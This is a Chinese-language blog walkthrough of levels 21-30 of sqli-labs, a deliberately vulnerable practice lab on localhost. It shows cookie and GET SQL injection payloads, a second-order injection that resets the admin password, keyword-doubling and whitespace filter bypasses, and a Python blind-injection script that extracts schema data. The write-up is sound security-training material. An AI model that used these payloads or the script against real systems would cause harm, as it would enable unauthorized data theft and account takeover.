sqli-labs 21 - 30关

sqli-labs 21 - 30关

less21

登陆后
sqli-labs 21 - 30关_第1张图片

cookie的uname值是base64加密
sqli-labs 21 - 30关_第2张图片

试了几次,格式是’)
sqli-labs 21 - 30关_第3张图片

依旧是3列
sqli-labs 21 - 30关_第4张图片

剩下的跟上题一样
sqli-labs 21 - 30关_第5张图片
sqli-labs 21 - 30关_第6张图片

less22

跟上一题一样,格式是"
sqli-labs 21 - 30关_第7张图片

less23

又回到get了
sqli-labs 21 - 30关_第8张图片

闭合是’
sqli-labs 21 - 30关_第9张图片

直接注释好像有什么问题(应该是被过滤了
sqli-labs 21 - 30关_第10张图片

语句可能是类似id=’$id’ limit 0,1?(好像真的是

这样是可以的
sqli-labs 21 - 30关_第11张图片

但是不能1' order by 4 and '1'='1(还是上图那个返回
sqli-labs 21 - 30关_第12张图片

在MySQL的执行顺序中,whereorder by前,第二个查询的时候可能忽略了order by?

and是操作符,用于where子句。

SELECT * FROM table_name WHERE id='0' union select 2,3,4 or '1'='1' LIMIT 0,1

or会作为联合查询第二个语句的条件,而不是第一个语句where的条件。(and也行

?id=0' union select 1 or '1'='1
sqli-labs 21 - 30关_第13张图片

到4的时候正常,一共三列

应该是只显示第二个
sqli-labs 21 - 30关_第14张图片

把第二个替换成想查询的就行
sqli-labs 21 - 30关_第15张图片

less24(二次注入

可以注册、登入、改密码

大概对应这三个
在这里插入图片描述

输入都有被转义(不是删除

只有改密码的时候,username是直接从session得到的
sqli-labs 21 - 30关_第16张图片

sqli-labs 21 - 30关_第17张图片sqli-labs 21 - 30关_第18张图片

。。。不会了,去搜吧

若当前用户名中含有注释,便可以修改当前用户名中包含的另一用户的密码。

需要二次注入

二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

二次注入的一般过程

  1. 通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了构造的 SQL 语句或者命令。
  2. 服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,便可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

1.确定注入逻辑

注入点在修改密码处:

UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

变为

UPDATE users SET PASSWORD='$pass' WHERE username='$username'# and password='$curr_pass'

2.注册构造的用户名
sqli-labs 21 - 30关_第19张图片

注册的admin’#
sqli-labs 21 - 30关_第20张图片

确实没被过滤

然后就可以用admin’#在未知admin原密码的情况下修改admin的密码了

UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'

sqli-labs 21 - 30关_第21张图片sqli-labs 21 - 30关_第22张图片

然后就结束了。。。

less25

get,好像把or和and过滤了?
sqli-labs 21 - 30关_第23张图片

闭合是’
sqli-labs 21 - 30关_第24张图片sqli-labs 21 - 30关_第25张图片

可以双写绕过
sqli-labs 21 - 30关_第26张图片

依旧是第二个
sqli-labs 21 - 30关_第27张图片

less25a我没有

less26

底下有提示你输入的被过滤后的结果
sqli-labs 21 - 30关_第28张图片

空格可用%a0绕过,and可以双写绕过
sqli-labs 21 - 30关_第29张图片

(一些其他的空格替代

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格

less26a

',错误无回显

还有这个讲法啊。。
sqli-labs 21 - 30关_第30张图片

改了之前第八题的脚本(附加url和搜索语句

import sys
import requests

def getPayload(char_index, ascii):
    # 附加url
    start_str = "1'anandd"
    end_str = "oorr'1'='"

    #select_str = "select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata"
    select_str = "select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()"
    #select_str = "select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='emails'"

    #内容
    database_name = "security"
    table_name = "users"
    column_name = ["id","username","passwoorrd"]
    #where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
    #select_str = "select(group_concat(concat_ws('@',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"

    # 连接payload
    sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
    payload = start_str + sqli_str + end_str
    return payload

def execute(char_index, ascii):
    # 连接url
    url = "http://127.0.0.1/sqli-labs-php7-master/Less-26a/?id="
    exec_url = url + getPayload(char_index, ascii)
    #print(exec_url)
    # 检查回显
    echo = "Your Login name"
    content = requests.get(exec_url).text
    if echo in content:
        return True
    else:
        return False

def dichotomy(char_index, left, right):
    while left < right:
        # 二分法
        ascii = int((left+right)/2)
        if execute(str(char_index+1), str(ascii)):
            left = ascii
        else:
            right = ascii
        # 结束二分
        if left == right-1:
            if execute(str(char_index+1), str(ascii)):
                ascii += 1
                break
            else:
                break
    return chr(ascii)

if __name__ == "__main__":
    for len in range(1024): # 查询结果的长度
        char = dichotomy(len, 30, 126) 
        if ord(char) == 31: # 单条查询结果已被遍历
            break
        sys.stdout.write(char)
        sys.stdout.flush()
    sys.stdout.write("\r\n")
    sys.stdout.flush()

less27

过滤union、select

还是可以双写绕过。。
sqli-labs 21 - 30关_第31张图片

less27a

闭合是"。

?id=0%22uunionnion%a0selselselectectect%a02,3,4%a0and%221%22=%221

select好像过滤了两次
sqli-labs 21 - 30关_第32张图片

改下26a的脚本就行。。。and、or双写去了,select改三写,payload = (start_str + sqli_str + end_str).replace("'",'"')

less28

'闭合,没有错误回显,依旧过滤了空格

试了好久才发现是有小括号的。。。

判断小括号方法:

  1. 2'and'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

但是我这里怎么没过滤union和select。。?

?id=0')union%a0select%a02,database(),4%a0and('1'='1
sqli-labs 21 - 30关_第33张图片

(搜了下,有过滤的好像双写就行了

less28a

还是’)闭合

。。。怎么都和上一题一样。。。我怀疑我题目有问题。。。
sqli-labs 21 - 30关_第34张图片
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e1LhCXPB-1590683023681)(sqli-labs 21 - 30关.assets/1590675978511.png)]

less29

单引号注入,似乎会编码
sqli-labs 21 - 30关_第35张图片

–+可以注释,#不行

好像没有其他过滤了?
sqli-labs 21 - 30关_第36张图片

???出大问题,之后的题是要配置的

https://www.cnblogs.com/heiwa-0924/p/12369438.html

没成功,还把mysql搞崩了,还重新下了

你可能感兴趣的:(sqli-labs 21 - 30关)